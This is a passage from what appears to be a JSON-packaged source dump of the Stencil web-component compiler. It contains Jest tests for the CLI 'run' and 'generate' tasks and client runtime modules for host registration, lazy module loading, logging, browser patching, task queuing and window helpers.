 });\n});\n"
  },
  {
    "path": "src/cli/test/run.spec.ts",
    "content": "import * as coreCompiler from '@stencil/core/compiler';\nimport { mockCompilerSystem, mockConfig, mockLogger as createMockLogger } from '@stencil/core/testing';\n\nimport type * as d from '../../declarations';\nimport { createTestingSystem } from '../../testing/testing-sys';\nimport { createConfigFlags } from '../config-flags';\nimport * as ParseFlags from '../parse-flags';\nimport { run, runTask } from '../run';\nimport * as BuildTask from '../task-build';\nimport * as DocsTask from '../task-docs';\nimport * as GenerateTask from '../task-generate';\nimport * as HelpTask from '../task-help';\nimport * as PrerenderTask from '../task-prerender';\nimport * as ServeTask from '../task-serve';\nimport * as TelemetryTask from '../task-telemetry';\nimport * as TestTask from '../task-test';\n\ndescribe('run', () => {\n  describe('run()', () => {\n    let cliInitOptions: d.CliInitOptions;\n    let mockLogger: d.Logger;\n    let mockSystem: d.CompilerSystem;\n\n    let parseFlagsSpy: jest.SpyInstance<\n      ReturnType<typeof ParseFlags.parseFlags>,\n      Parameters<typeof ParseFlags.parseFlags>\n    >;\n\n    beforeEach(() => {\n      mockLogger = createMockLogger();\n      mockSystem = createTestingSystem();\n\n      cliInitOptions = {\n        args: [],\n        logger: mockLogger,\n        sys: mockSystem,\n      };\n\n      parseFlagsSpy = jest.spyOn(ParseFlags, 'parseFlags');\n      parseFlagsSpy.mockReturnValue(\n        createConfigFlags({\n          // use the 'help' task as a reasonable default for all calls to this function.\n          // code paths that require a different task can always override this value as needed.\n          task: 'help',\n        }),\n      );\n    });\n\n    afterEach(() => {\n      parseFlagsSpy.mockRestore();\n    });\n\n    describe('help task', () => {\n      let taskHelpSpy: jest.SpyInstance<ReturnType<typeof HelpTask.taskHelp>, Parameters<typeof HelpTask.taskHelp>>;\n\n      beforeEach(() => {\n        taskHelpSpy = jest.spyOn(HelpTask, 'taskHelp');\n        taskHelpSpy.mockReturnValue(Promise.resolve());\n      });\n\n      afterEach(() => {\n        taskHelpSpy.mockRestore();\n      });\n\n      it(\"calls the help task when the 'task' field is set to 'help'\", async () => {\n        await run(cliInitOptions);\n\n        expect(taskHelpSpy).toHaveBeenCalledTimes(1);\n        expect(taskHelpSpy).toHaveBeenCalledWith(\n          {\n            task: 'help',\n            args: [],\n            knownArgs: [],\n            unknownArgs: [],\n          },\n          mockLogger,\n          mockSystem,\n        );\n\n        taskHelpSpy.mockRestore();\n      });\n\n      it(\"calls the help task when the 'task' field is set to null\", async () => {\n        parseFlagsSpy.mockReturnValue(\n          createConfigFlags({\n            task: null,\n          }),\n        );\n\n        await run(cliInitOptions);\n\n        expect(taskHelpSpy).toHaveBeenCalledTimes(1);\n        expect(taskHelpSpy).toHaveBeenCalledWith(\n          {\n            task: 'help',\n            args: [],\n            knownArgs: [],\n            unknownArgs: [],\n          },\n          mockLogger,\n          mockSystem,\n        );\n\n        taskHelpSpy.mockRestore();\n      });\n\n      it(\"calls the help task when the 'help' field is set on flags\", async () => {\n        parseFlagsSpy.mockReturnValue(\n          createConfigFlags({\n            help: true,\n          }),\n        );\n\n        await run(cliInitOptions);\n\n        expect(taskHelpSpy).toHaveBeenCalledTimes(1);\n        expect(taskHelpSpy).toHaveBeenCalledWith(\n          {\n            task: 'help',\n            args: [],\n            unknownArgs: [],\n            knownArgs: [],\n          },\n          mockLogger,\n          mockSystem,\n        );\n\n        taskHelpSpy.mockRestore();\n      });\n    });\n  });\n\n  describe('runTask()', () => {\n    let sys: d.CompilerSystem;\n    let unvalidatedConfig: d.UnvalidatedConfig;\n\n    let taskBuildSpy: jest.SpyInstance<ReturnType<typeof BuildTask.taskBuild>, Parameters<typeof BuildTask.taskBuild>>;\n    let taskDocsSpy: jest.SpyInstance<ReturnType<typeof DocsTask.taskDocs>, Parameters<typeof DocsTask.taskDocs>>;\n    let taskGenerateSpy: jest.SpyInstance<\n      ReturnType<typeof GenerateTask.taskGenerate>,\n      Parameters<typeof GenerateTask.taskGenerate>\n    >;\n    let taskHelpSpy: jest.SpyInstance<ReturnType<typeof HelpTask.taskHelp>, Parameters<typeof HelpTask.taskHelp>>;\n    let taskPrerenderSpy: jest.SpyInstance<\n      ReturnType<typeof PrerenderTask.taskPrerender>,\n      Parameters<typeof PrerenderTask.taskPrerender>\n    >;\n    let taskServeSpy: jest.SpyInstance<ReturnType<typeof ServeTask.taskServe>, Parameters<typeof ServeTask.taskServe>>;\n    let taskTelemetrySpy: jest.SpyInstance<\n      ReturnType<typeof TelemetryTask.taskTelemetry>,\n      Parameters<typeof TelemetryTask.taskTelemetry>\n    >;\n    let taskTestSpy: jest.SpyInstance<ReturnType<typeof TestTask.taskTest>, Parameters<typeof TestTask.taskTest>>;\n\n    beforeEach(() => {\n      sys = mockCompilerSystem();\n      sys.exit = jest.fn();\n\n      unvalidatedConfig = mockConfig({ outputTargets: [], sys, fsNamespace: 'testing' });\n\n      taskBuildSpy = jest.spyOn(BuildTask, 'taskBuild');\n      taskBuildSpy.mockResolvedValue();\n\n      taskDocsSpy = jest.spyOn(DocsTask, 'taskDocs');\n      taskDocsSpy.mockResolvedValue();\n\n      taskGenerateSpy = jest.spyOn(GenerateTask, 'taskGenerate');\n      taskGenerateSpy.mockResolvedValue();\n\n      taskHelpSpy = jest.spyOn(HelpTask, 'taskHelp');\n      taskHelpSpy.mockResolvedValue();\n\n      taskPrerenderSpy = jest.spyOn(PrerenderTask, 'taskPrerender');\n      taskPrerenderSpy.mockResolvedValue();\n\n      taskServeSpy = jest.spyOn(ServeTask, 'taskServe');\n      taskServeSpy.mockResolvedValue();\n\n      taskTelemetrySpy = jest.spyOn(TelemetryTask, 'taskTelemetry');\n      taskTelemetrySpy.mockResolvedValue();\n\n      taskTestSpy = jest.spyOn(TestTask, 'taskTest');\n      taskTestSpy.mockResolvedValue();\n    });\n\n    afterEach(() => {\n      taskBuildSpy.mockRestore();\n      taskDocsSpy.mockRestore();\n      taskGenerateSpy.mockRestore();\n      taskHelpSpy.mockRestore();\n      taskPrerenderSpy.mockRestore();\n      taskServeSpy.mockRestore();\n      taskTelemetrySpy.mockRestore();\n      taskTestSpy.mockRestore();\n    });\n\n    describe('default configuration', () => {\n      describe('sys property', () => {\n        it('uses the sys argument if one is provided', async () => {\n          // remove the `CompilerSystem` on the config, just to be sure we don't accidentally use it\n          unvalidatedConfig.sys = undefined;\n\n          await runTask(coreCompiler, unvalidatedConfig, 'build', sys);\n          const validated = coreCompiler.validateConfig(unvalidatedConfig, { sys });\n\n          // first validate there was one call, and that call had two arguments\n          expect(taskBuildSpy).toHaveBeenCalledTimes(1);\n          expect(taskBuildSpy).toHaveBeenCalledWith(coreCompiler, validated.config);\n\n          const compilerSystemUsed: d.CompilerSystem = taskBuildSpy.mock.calls[0][1].sys;\n          expect(compilerSystemUsed).toBe(sys);\n        });\n      });\n    });\n\n    it('calls the build task', async () => {\n      await runTask(coreCompiler, unvalidatedConfig, 'build', sys);\n      const validated = coreCompiler.validateConfig(unvalidatedConfig, {});\n\n      expect(taskBuildSpy).toHaveBeenCalledTimes(1);\n      expect(taskBuildSpy).toHaveBeenCalledWith(coreCompiler, validated.config);\n    });\n\n    it('calls the docs task', async () => {\n      await runTask(coreCompiler, unvalidatedConfig, 'docs', sys);\n      const validated = coreCompiler.validateConfig(unvalidatedConfig, {});\n\n      expect(taskDocsSpy).toHaveBeenCalledTimes(1);\n      expect(taskDocsSpy).toHaveBeenCalledWith(coreCompiler, validated.config);\n    });\n\n    describe('generate task', () => {\n      it(\"calls the generate task for the argument 'generate'\", async () => {\n        await runTask(coreCompiler, unvalidatedConfig, 'generate', sys);\n        const validated = coreCompiler.validateConfig(unvalidatedConfig, {});\n\n        expect(taskGenerateSpy).toHaveBeenCalledTimes(1);\n        expect(taskGenerateSpy).toHaveBeenCalledWith(validated.config);\n      });\n\n      it(\"calls the generate task for the argument 'g'\", async () => {\n        await runTask(coreCompiler, unvalidatedConfig, 'g', sys);\n        const validated = coreCompiler.validateConfig(unvalidatedConfig, {});\n\n        expect(taskGenerateSpy).toHaveBeenCalledTimes(1);\n        expect(taskGenerateSpy).toHaveBeenCalledWith(validated.config);\n      });\n    });\n\n    it('calls the help task', async () => {\n      await runTask(coreCompiler, unvalidatedConfig, 'help', sys);\n      const validated = coreCompiler.validateConfig(unvalidatedConfig, {});\n\n      expect(taskHelpSpy).toHaveBeenCalledTimes(1);\n      expect(taskHelpSpy).toHaveBeenCalledWith(validated.config.flags, validated.config.logger, sys);\n    });\n\n    it('calls the prerender task', async () => {\n      await runTask(coreCompiler, unvalidatedConfig, 'prerender', sys);\n      const validated = coreCompiler.validateConfig(unvalidatedConfig, {});\n\n      expect(taskPrerenderSpy).toHaveBeenCalledTimes(1);\n      expect(taskPrerenderSpy).toHaveBeenCalledWith(coreCompiler, validated.config);\n    });\n\n    it('calls the serve task', async () => {\n      await runTask(coreCompiler, unvalidatedConfig, 'serve', sys);\n\n      expect(taskServeSpy).toHaveBeenCalledTimes(1);\n      expect(taskServeSpy).toHaveBeenCalledWith(coreCompiler.validateConfig(unvalidatedConfig, {}).config);\n    });\n\n    describe('telemetry task', () => {\n      it('calls the telemetry task when a compiler system is present', async () => {\n        await runTask(coreCompiler, unvalidatedConfig, 'telemetry', sys);\n        const validated = coreCompiler.validateConfig(unvalidatedConfig, {});\n\n        expect(taskTelemetrySpy).toHaveBeenCalledTimes(1);\n        expect(taskTelemetrySpy).toHaveBeenCalledWith(validated.config.flags, sys, validated.config.logger);\n      });\n    });\n\n    it('calls the test task', async () => {\n      await runTask(coreCompiler, unvalidatedConfig, 'test', sys);\n\n      expect(taskTestSpy).toHaveBeenCalledTimes(1);\n      expect(taskTestSpy).toHaveBeenCalledWith(coreCompiler.validateConfig(unvalidatedConfig, {}).config);\n    });\n\n    it('defaults to the help task for an unaccounted for task name', async () => {\n      // info is a valid task name, but isn't used in the `switch` statement of `runTask`\n      await runTask(coreCompiler, unvalidatedConfig, 'info', sys);\n      const validated = coreCompiler.validateConfig(unvalidatedConfig, {});\n\n      expect(taskHelpSpy).toHaveBeenCalledTimes(1);\n      expect(taskHelpSpy).toHaveBeenCalledWith(validated.config.flags, validated.config.logger, sys);\n    });\n\n    it('defaults to the provided task if no flags exist on the provided config', async () => {\n      unvalidatedConfig = mockConfig({ flags: undefined, sys });\n\n      await runTask(coreCompiler, unvalidatedConfig, 'help', sys);\n      const validated = coreCompiler.validateConfig(unvalidatedConfig, {});\n\n      expect(taskHelpSpy).toHaveBeenCalledTimes(1);\n      expect(taskHelpSpy).toHaveBeenCalledWith(createConfigFlags({ task: 'help' }), validated.config.logger, sys);\n    });\n  });\n});\n"
  },
  {
    "path": "src/cli/test/task-generate.spec.ts",
    "content": "import { mockCompilerSystem, mockValidatedConfig } from '@stencil/core/testing';\n\nimport type * as d from '../../declarations';\nimport * as utils from '../../utils/validation';\nimport { createConfigFlags } from '../config-flags';\nimport { BoilerplateFile, getBoilerplateByExtension, taskGenerate } from '../task-generate';\n\nconst promptMock = jest.fn().mockResolvedValue('my-component');\n\njest.mock('prompts', () => ({\n  prompt: promptMock,\n}));\n\nlet formatToPick = 'css';\n\nconst setup = async (plugins: any[] = []) => {\n  const sys = mockCompilerSystem();\n  const config: d.ValidatedConfig = mockValidatedConfig({\n    configPath: '/testing-path',\n    flags: createConfigFlags({ task: 'generate' }),\n    srcDir: '/src',\n    sys,\n    plugins,\n  });\n\n  // set up some mocks / spies\n  config.sys.exit = jest.fn();\n  const errorSpy = jest.spyOn(config.logger, 'error');\n  const validateTagSpy = jest.spyOn(utils, 'validateComponentTag').mockReturnValue(undefined);\n\n  // mock prompt usage: tagName and filesToGenerate are the keys used for\n  // different calls, so we can cheat here and just do a single\n  // mockResolvedValue\n  let format = formatToPick;\n  promptMock.mockImplementation((params) => {\n    if (params.name === 'sassFormat') {\n      format = 'sass';\n      return { sassFormat: 'sass' };\n    }\n    return {\n      tagName: 'my-component',\n      filesToGenerate: [format, 'spec.tsx', 'e2e.ts'],\n    };\n  });\n\n  return { config, errorSpy, validateTagSpy };\n};\n\n/**\n * Little test helper function which just temporarily silences\n * console.log calls, so we can avoid spewing a bunch of stuff.\n * @param config the user-supplied config to forward to `taskGenerate`\n */\nasync function silentGenerate(config: d.ValidatedConfig): Promise<void> {\n  const tmp = console.log;\n  console.log = jest.fn();\n  await taskGenerate(config);\n  console.log = tmp;\n}\n\ndescribe('generate task', () => {\n  afterEach(() => {\n    jest.restoreAllMocks();\n    jest.clearAllMocks();\n    jest.resetModules();\n    formatToPick = 'css';\n  });\n\n  afterAll(() => {\n    jest.resetAllMocks();\n  });\n\n  it('should exit with an error if no `configPath` is supplied', async () => {\n    const { config, errorSpy } = await setup();\n    config.configPath = undefined;\n    await taskGenerate(config);\n    expect(config.sys.exit).toHaveBeenCalledWith(1);\n    expect(errorSpy).toHaveBeenCalledWith(\n      'Please run this command in your root directory (i. e. the one containing stencil.config.ts).',\n    );\n  });\n\n  it('should exit with an error if no `srcDir` is supplied', async () => {\n    const { config, errorSpy } = await setup();\n    config.srcDir = undefined;\n    await taskGenerate(config);\n    expect(config.sys.exit).toHaveBeenCalledWith(1);\n    expect(errorSpy).toHaveBeenCalledWith(\"Stencil's srcDir was not specified.\");\n  });\n\n  it('should exit with an error if the component name does not validate', async () => {\n    const { config, errorSpy, validateTagSpy } = await setup();\n    validateTagSpy.mockReturnValue('error error error');\n    await taskGenerate(config);\n    expect(config.sys.exit).toHaveBeenCalledWith(1);\n    expect(errorSpy).toHaveBeenCalledWith('error error error');\n  });\n\n  it.each([true, false])('should create a directory for the generated components', async (includeTests) => {\n    const { config } = await setup();\n    if (!includeTests) {\n      promptMock.mockResolvedValue({\n        tagName: 'my-component',\n        // simulate the user picking only the css option\n        filesToGenerate: ['css'],\n      });\n    }\n\n    const createDirSpy = jest.spyOn(config.sys, 'createDir');\n    await silentGenerate(config);\n    expect(createDirSpy).toHaveBeenCalledWith(\n      includeTests ? `${config.srcDir}/components/my-component/test` : `${config.srcDir}/components/my-component`,\n      { recursive: true },\n    );\n  });\n\n  it('should generate the files the user picked', async () => {\n    const { config } = await setup();\n    const writeFileSpy = jest.spyOn(config.sys, 'writeFile');\n    await silentGenerate(config);\n    const userChoices: ReadonlyArray<BoilerplateFile> = [\n      { extension: 'tsx', path: '/src/components/my-component/my-component.tsx' },\n      { extension: 'css', path: '/src/components/my-component/my-component.css' },\n      { extension: 'spec.tsx', path: '/src/components/my-component/test/my-component.spec.tsx' },\n      { extension: 'e2e.ts', path: '/src/components/my-component/test/my-component.e2e.ts' },\n    ];\n\n    userChoices.forEach((file) => {\n      expect(writeFileSpy).toHaveBeenCalledWith(\n        file.path,\n        getBoilerplateByExtension('my-component', file.extension, true, 'css'),\n      );\n    });\n  });\n\n  it('should error without writing anything if a to-be-generated file is already present', async () => {\n    const { config, errorSpy } = await setup();\n    jest.spyOn(config.sys, 'readFile').mockResolvedValue('some file contents');\n    await silentGenerate(config);\n    expect(errorSpy).toHaveBeenCalledWith(\n      'Generating code would overwrite the following files:',\n      '\\t/src/components/my-component/my-component.tsx',\n      '\\t/src/components/my-component/my-component.css',\n      '\\t/src/components/my-component/test/my-component.spec.tsx',\n      '\\t/src/components/my-component/test/my-component.e2e.ts',\n    );\n    expect(config.sys.exit).toHaveBeenCalledWith(1);\n  });\n\n  it('should generate files for sass projects', async () => {\n    const { config } = await setup([{ name: 'sass' }]);\n    const writeFileSpy = jest.spyOn(config.sys, 'writeFile');\n    await silentGenerate(config);\n    const userChoices: ReadonlyArray<BoilerplateFile> = [\n      { extension: 'tsx', path: '/src/components/my-component/my-component.tsx' },\n      { extension: 'sass', path: '/src/components/my-component/my-component.sass' },\n      { extension: 'spec.tsx', path: '/src/components/my-component/test/my-component.spec.tsx' },\n      { extension: 'e2e.ts', path: '/src/components/my-component/test/my-component.e2e.ts' },\n    ];\n\n    userChoices.forEach((file) => {\n      expect(writeFileSpy).toHaveBeenCalledWith(\n        file.path,\n        getBoilerplateByExtension('my-component', file.extension, true, 'sass'),\n      );\n    });\n  });\n\n  it('should generate files for less projects', async () => {\n    formatToPick = 'less';\n    const { config } = await setup([{ name: 'less' }]);\n    const writeFileSpy = jest.spyOn(config.sys, 'writeFile');\n    await silentGenerate(config);\n    const userChoices: ReadonlyArray<BoilerplateFile> = [\n      { extension: 'tsx', path: '/src/components/my-component/my-component.tsx' },\n      { extension: 'less', path: '/src/components/my-component/my-component.less' },\n      { extension: 'spec.tsx', path: '/src/components/my-component/test/my-component.spec.tsx' },\n      { extension: 'e2e.ts', path: '/src/components/my-component/test/my-component.e2e.ts' },\n    ];\n\n    userChoices.forEach((file) => {\n      expect(writeFileSpy).toHaveBeenCalledWith(\n        file.path,\n        getBoilerplateByExtension('my-component', file.extension, true, 'less'),\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "src/client/client-build.ts",
    "content": "import { BUILD } from '@app-data';\n\nimport type * as d from '../declarations';\n\nexport const Build: d.UserBuildConditionals = {\n  isDev: BUILD.isDev ? true : false,\n  isBrowser: true,\n  isServer: false,\n  isTesting: BUILD.isTesting ? true : false,\n};\n"
  },
  {
    "path": "src/client/client-host-ref.ts",
    "content": "import { BUILD } from '@app-data';\nimport { CMP_FLAGS } from '@utils/constants';\nimport { reWireGetterSetter } from '@utils/es2022-rewire-class-members';\n\nimport type * as d from '../declarations';\n\n/**\n * Given a {@link d.RuntimeRef} retrieve the corresponding {@link d.HostRef}\n *\n * @param ref the runtime ref of interest\n * @returns the Host reference (if found) or undefined\n */\nexport const getHostRef = (ref: d.RuntimeRef): d.HostRef | undefined => {\n  if (ref.__stencil__getHostRef) {\n    return ref.__stencil__getHostRef();\n  }\n\n  return undefined;\n};\n\n/**\n * Register a lazy instance with the {@link hostRefs} object so it's\n * corresponding {@link d.HostRef} can be retrieved later.\n *\n * @param lazyInstance the lazy instance of interest\n * @param hostRef that instances `HostRef` object\n */\nexport const registerInstance = (lazyInstance: any, hostRef: d.HostRef) => {\n  if (!hostRef) return;\n  lazyInstance.__stencil__getHostRef = () => hostRef;\n  hostRef.$lazyInstance$ = lazyInstance;\n\n  if (hostRef.$cmpMeta$.$flags$ & CMP_FLAGS.hasModernPropertyDecls && (BUILD.state || BUILD.prop)) {\n    reWireGetterSetter(lazyInstance, hostRef);\n  }\n};\n\n/**\n * Register a host element for a Stencil component, setting up various metadata\n * and callbacks based on {@link BUILD} flags as well as the component's runtime\n * metadata.\n *\n * @param hostElement the host element to register\n * @param cmpMeta runtime metadata for that component\n * @returns a reference to the host ref WeakMap\n */\nexport const registerHost = (hostElement: d.HostElement, cmpMeta: d.ComponentRuntimeMeta) => {\n  const hostRef: d.HostRef = {\n    $flags$: 0,\n    $hostElement$: hostElement,\n    $cmpMeta$: cmpMeta,\n    $instanceValues$: new Map(),\n    $serializerValues$: new Map(),\n  };\n  if (BUILD.isDev) {\n    hostRef.$renderCount$ = 0;\n  }\n  if (BUILD.method && BUILD.lazyLoad) {\n    hostRef.$onInstancePromise$ = new Promise((r) => (hostRef.$onInstanceResolve$ = r));\n  }\n  if (BUILD.asyncLoading) {\n    hostRef.$onReadyPromise$ = new Promise((r) => (hostRef.$onReadyResolve$ = r));\n    hostElement['s-p'] = [];\n    hostElement['s-rc'] = [];\n  }\n  if (BUILD.lazyLoad) {\n    hostRef.$fetchedCbList$ = [];\n  }\n\n  const ref = hostRef;\n  hostElement.__stencil__getHostRef = () => ref;\n\n  if (!BUILD.lazyLoad && cmpMeta.$flags$ & CMP_FLAGS.hasModernPropertyDecls && (BUILD.state || BUILD.prop)) {\n    reWireGetterSetter(hostElement, hostRef);\n  }\n\n  return ref;\n};\n\nexport const isMemberInElement = (elm: any, memberName: string) => memberName in elm;\n"
  },
  {
    "path": "src/client/client-load-module.ts",
    "content": "import { BUILD } from '@app-data';\n\nimport type * as d from '../declarations';\nimport { consoleDevError, consoleError } from './client-log';\n\nexport const cmpModules = /*@__PURE__*/ new Map<string, { [exportName: string]: d.ComponentConstructor }>();\n\n/**\n * We need to separate out this prefix so that Esbuild doesn't try to resolve\n * the below, but instead retains a dynamic `import()` statement in the\n * emitted code.\n *\n * See here for details https://esbuild.github.io/api/#non-analyzable-imports\n *\n * We need to do this in order to prevent Esbuild from analyzing / transforming\n * the input. However some _other_ bundlers will _not_ work with such an import\n * if it _lacks_ a leading `\"./\"`, so we thus we have to do a little dance\n * where here in the source code it must be like this, so that an undesirable\n * transformation that Esbuild would otherwise carry out doesn't occur, but we\n * actually need to then manually edit the bundled Esbuild code later on to fix\n * that. We do this with plugins in the Esbuild and Rollup bundles which\n * include this file.\n */\nconst MODULE_IMPORT_PREFIX = './';\n\nexport const loadModule = (\n  cmpMeta: d.ComponentRuntimeMeta,\n  hostRef: d.HostRef,\n  hmrVersionId?: string,\n): Promise<d.ComponentConstructor | undefined> | d.ComponentConstructor | undefined => {\n  // loadModuleImport\n  const exportName = cmpMeta.$tagName$.replace(/-/g, '_');\n  const bundleId = cmpMeta.$lazyBundleId$;\n  if (BUILD.isDev && typeof bundleId !== 'string') {\n    consoleDevError(\n      `Trying to lazily load component <${cmpMeta.$tagName$}> with style mode \"${hostRef.$modeName$}\", but it does not exist.`,\n    );\n    return undefined;\n  } else if (!bundleId) {\n    return undefined;\n  }\n  const module = !BUILD.hotModuleReplacement ? cmpModules.get(bundleId) : false;\n  if (module) {\n    return module[exportName];\n  }\n  /*!__STENCIL_STATIC_IMPORT_SWITCH__*/\n  return import(\n    /* @vite-ignore */\n    /* webpackInclude: /\\.entry\\.js$/ */\n    /* webpackExclude: /\\.system\\.entry\\.js$/ */\n    /* webpackMode: \"lazy\" */\n    `${MODULE_IMPORT_PREFIX}${bundleId}.entry.js${\n      BUILD.hotModuleReplacement && hmrVersionId ? '?s-hmr=' + hmrVersionId : ''\n    }`\n  ).then(\n    (importedModule) => {\n      if (!BUILD.hotModuleReplacement) {\n        cmpModules.set(bundleId, importedModule);\n      }\n      return importedModule[exportName];\n    },\n    (e: Error) => {\n      consoleError(e, hostRef.$hostElement$);\n    },\n  );\n};\n"
  },
  {
    "path": "src/client/client-log.ts",
    "content": "import { BUILD } from '@app-data';\n\nimport type * as d from '../declarations';\n\nlet customError: d.ErrorHandler;\n\nexport const consoleError: d.ErrorHandler = (e: any, el?: HTMLElement) => (customError || console.error)(e, el);\n\nexport const STENCIL_DEV_MODE = BUILD.isTesting\n  ? ['STENCIL:'] // E2E testing\n  : [\n      '%cstencil',\n      'color: white;background:#4c47ff;font-weight: bold; font-size:10px; padding:2px 6px; border-radius: 5px',\n    ];\n\nexport const consoleDevError = (...m: any[]) => console.error(...STENCIL_DEV_MODE, ...m);\n\nexport const consoleDevWarn = (...m: any[]) => console.warn(...STENCIL_DEV_MODE, ...m);\n\nexport const consoleDevInfo = (...m: any[]) => console.info(...STENCIL_DEV_MODE, ...m);\n\nexport const setErrorHandler = (handler: d.ErrorHandler) => (customError = handler);\n"
  },
  {
    "path": "src/client/client-patch-browser.ts",
    "content": "import { BUILD, NAMESPACE } from '@app-data';\nimport { consoleDevInfo, H, promiseResolve, win } from '@platform';\n\nimport type * as d from '../declarations';\n\nexport const patchBrowser = (): Promise<d.CustomElementsDefineOptions> => {\n  // NOTE!! This fn cannot use async/await!\n  if (BUILD.isDev && !BUILD.isTesting) {\n    consoleDevInfo('Running in development mode.');\n  }\n\n  if (BUILD.cloneNodeFix) {\n    // opted-in to polyfill cloneNode() for slot polyfilled components\n    patchCloneNodeFix((H as any).prototype);\n  }\n\n  const scriptElm = BUILD.scriptDataOpts\n    ? win.document &&\n      Array.from(win.document.querySelectorAll('script')).find(\n        (s) =>\n          new RegExp(`\\/${NAMESPACE}(\\\\.esm)?\\\\.js($|\\\\?|#)`).test(s.src) ||\n          s.getAttribute('data-stencil-namespace') === NAMESPACE,\n      )\n    : null;\n  const importMeta = import.meta.url;\n  const opts = BUILD.scriptDataOpts ? ((scriptElm as any) || {})['data-opts'] || {} : {};\n\n  if (importMeta !== '') {\n    opts.resourcesUrl = new URL('.', importMeta).href;\n  }\n\n  return promiseResolve(opts);\n};\n\nconst patchCloneNodeFix = (HTMLElementPrototype: any) => {\n  const nativeCloneNodeFn = HTMLElementPrototype.cloneNode;\n\n  HTMLElementPrototype.cloneNode = function (this: Node, deep: boolean) {\n    if (this.nodeName === 'TEMPLATE') {\n      return nativeCloneNodeFn.call(this, deep);\n    }\n    const clonedNode = nativeCloneNodeFn.call(this, false);\n    const srcChildNodes = this.childNodes;\n    if (deep) {\n      for (let i = 0; i < srcChildNodes.length; i++) {\n        // Node.ATTRIBUTE_NODE === 2, and checking because IE11\n        if (srcChildNodes[i].nodeType !== 2) {\n          clonedNode.appendChild(srcChildNodes[i].cloneNode(true));\n        }\n      }\n    }\n    return clonedNode;\n  };\n};\n"
  },
  {
    "path": "src/client/client-style.ts",
    "content": "import type * as d from '../declarations';\n\nexport const styles: d.StyleMap = /*@__PURE__*/ new Map();\nexport const modeResolutionChain: d.ResolutionHandler[] = [];\nexport const setScopedSSR = (_opts: d.HydrateFactoryOptions) => {};\nexport const needsScopedSSR = () => false;\n"
  },
  {
    "path": "src/client/client-task-queue.ts",
    "content": "import { BUILD } from '@app-data';\n\nimport type * as d from '../declarations';\nimport { PLATFORM_FLAGS } from '../runtime/runtime-constants';\nimport { consoleError } from './client-log';\nimport { plt, promiseResolve } from './client-window';\n\nlet queueCongestion = 0;\nlet queuePending = false;\n\nconst queueDomReads: d.RafCallback[] = [];\nconst queueDomWrites: d.RafCallback[] = [];\nconst queueDomWritesLow: d.RafCallback[] = [];\n\nconst queueTask = (queue: d.RafCallback[], write: boolean) => (cb: d.RafCallback) => {\n  queue.push(cb);\n\n  if (!queuePending) {\n    queuePending = true;\n    if (write && plt.$flags$ & PLATFORM_FLAGS.queueSync) {\n      nextTick(flush);\n    } else {\n      plt.raf(flush);\n    }\n  }\n};\n\nconst consume = (queue: d.RafCallback[]) => {\n  for (let i = 0; i < queue.length; i++) {\n    try {\n      queue[i](performance.now());\n    } catch (e) {\n      consoleError(e);\n    }\n  }\n  queue.length = 0;\n};\n\nconst consumeTimeout = (queue: d.RafCallback[], timeout: number) => {\n  let i = 0;\n  let ts = 0;\n  while (i < queue.length && (ts = performance.now()) < timeout) {\n    try {\n      queue[i++](ts);\n    } catch (e) {\n      consoleError(e);\n    }\n  }\n  if (i === queue.length) {\n    queue.length = 0;\n  } else if (i !== 0) {\n    queue.splice(0, i);\n  }\n};\n\nconst flush = () => {\n  if (BUILD.asyncQueue) {\n    queueCongestion++;\n  }\n\n  // always force a bunch of medium callbacks to run, but still have\n  // a throttle on how many can run in a certain time\n\n  // DOM READS!!!\n  consume(queueDomReads);\n\n  // DOM WRITES!!!\n  if (BUILD.asyncQueue) {\n    const timeout =\n      (plt.$flags$ & PLATFORM_FLAGS.queueMask) === PLATFORM_FLAGS.appLoaded\n        ? performance.now() + 14 * Math.ceil(queueCongestion * (1.0 / 10.0))\n        : Infinity;\n\n    consumeTimeout(queueDomWrites, timeout);\n    consumeTimeout(queueDomWritesLow, timeout);\n\n    if (queueDomWrites.length > 0) {\n      queueDomWritesLow.push(...queueDomWrites);\n      queueDomWrites.length = 0;\n    }\n\n    if ((queuePending = queueDomReads.length + queueDomWrites.length + queueDomWritesLow.length > 0)) {\n      // still more to do yet, but we've run out of time\n      // let's let this thing cool off and try again in the next tick\n      plt.raf(flush);\n    } else {\n      queueCongestion = 0;\n    }\n  } else {\n    consume(queueDomWrites);\n    if ((queuePending = queueDomReads.length > 0)) {\n      // still more to do yet, but we've run out of time\n      // let's let this thing cool off and try again in the next tick\n      plt.raf(flush);\n    }\n  }\n};\n\nexport const nextTick = (cb: () => void) => promiseResolve().then(cb);\n\nexport const readTask = /*@__PURE__*/ queueTask(queueDomReads, false);\n\nexport const writeTask = /*@__PURE__*/ queueTask(queueDomWrites, true);\n"
  },
  {
    "path": "src/client/client-window.ts",
    "content": "import { BUILD } from '@app-data';\n\nimport type * as d from '../declarations';\n\ninterface StencilWindow extends Omit<Window, 'document'> {\n  document?: Document;\n}\n\nexport const win = (typeof window !== 'undefined' ? window : ({} as StencilWindow)) as StencilWindow;\n\nexport const H = ((win as any).HTMLElement || (class {} as any)) as HTMLElement;\n\nexport const plt: d.PlatformRuntime = {\n  $flags$: 0,\n  $resourcesUrl$: '',\n  jmp: (h) => h(),\n  raf: (h) => requestAnimationFrame(h),\n  ael: (el, eventName, listener, opts) => el.addEventListener(eventName, listener, opts),\n  rel: (el, eventName, listener, opts) => el.removeEventListener(eventName, listener, opts),\n  ce: (eventName, opts) => new CustomEvent(eventName, opts),\n};\n\nexport const setPlatformHelpers = (helpers: {\n  jmp?: (c: any) => any;\n  raf?: (c: any) => number;\n  ael?: (el: any, eventName: string, listener: any, options: any) => void;\n  rel?: (el: any, eventName: string, listener: any, options: any) => void;\n  ce?: (eventName: string, opts?: any) => any;\n}) => {\n  Object.assign(plt, helpers);\n};\n\nexport const supportsShadow = BUILD.shadowDom;\n\nexport const supportsListenerOptions = /*@__PURE__*/ (() => {\n  let supportsListenerOptions = false;\n  try {\n    win.document?.addEventListener(\n      'e',\n      null,\n      Object.defineProperty({}, 'passive', {\n        get() {\n          supportsListenerOptions = true;\n        },\n      }),\n    );\n  } catch (e) {}\n  return supportsListenerOptions;\n})();\n\nexport const promiseResolve = (v?: any) => Promise.resolve(v);\n\nexport const supportsConstructableStylesheets = BUILD.constructableCSS\n  ? /*@__PURE__*/ (() => {\n      try {\n        if (!win.document.adoptedStyleSheets) {\n          return false;\n        }\n        new CSSStyleSheet();\n        return typeof new CSSStyleSheet().replaceSync === 'function';\n      } catch (e) {}\n      return false;\n    })()\n  : false;\n\n// 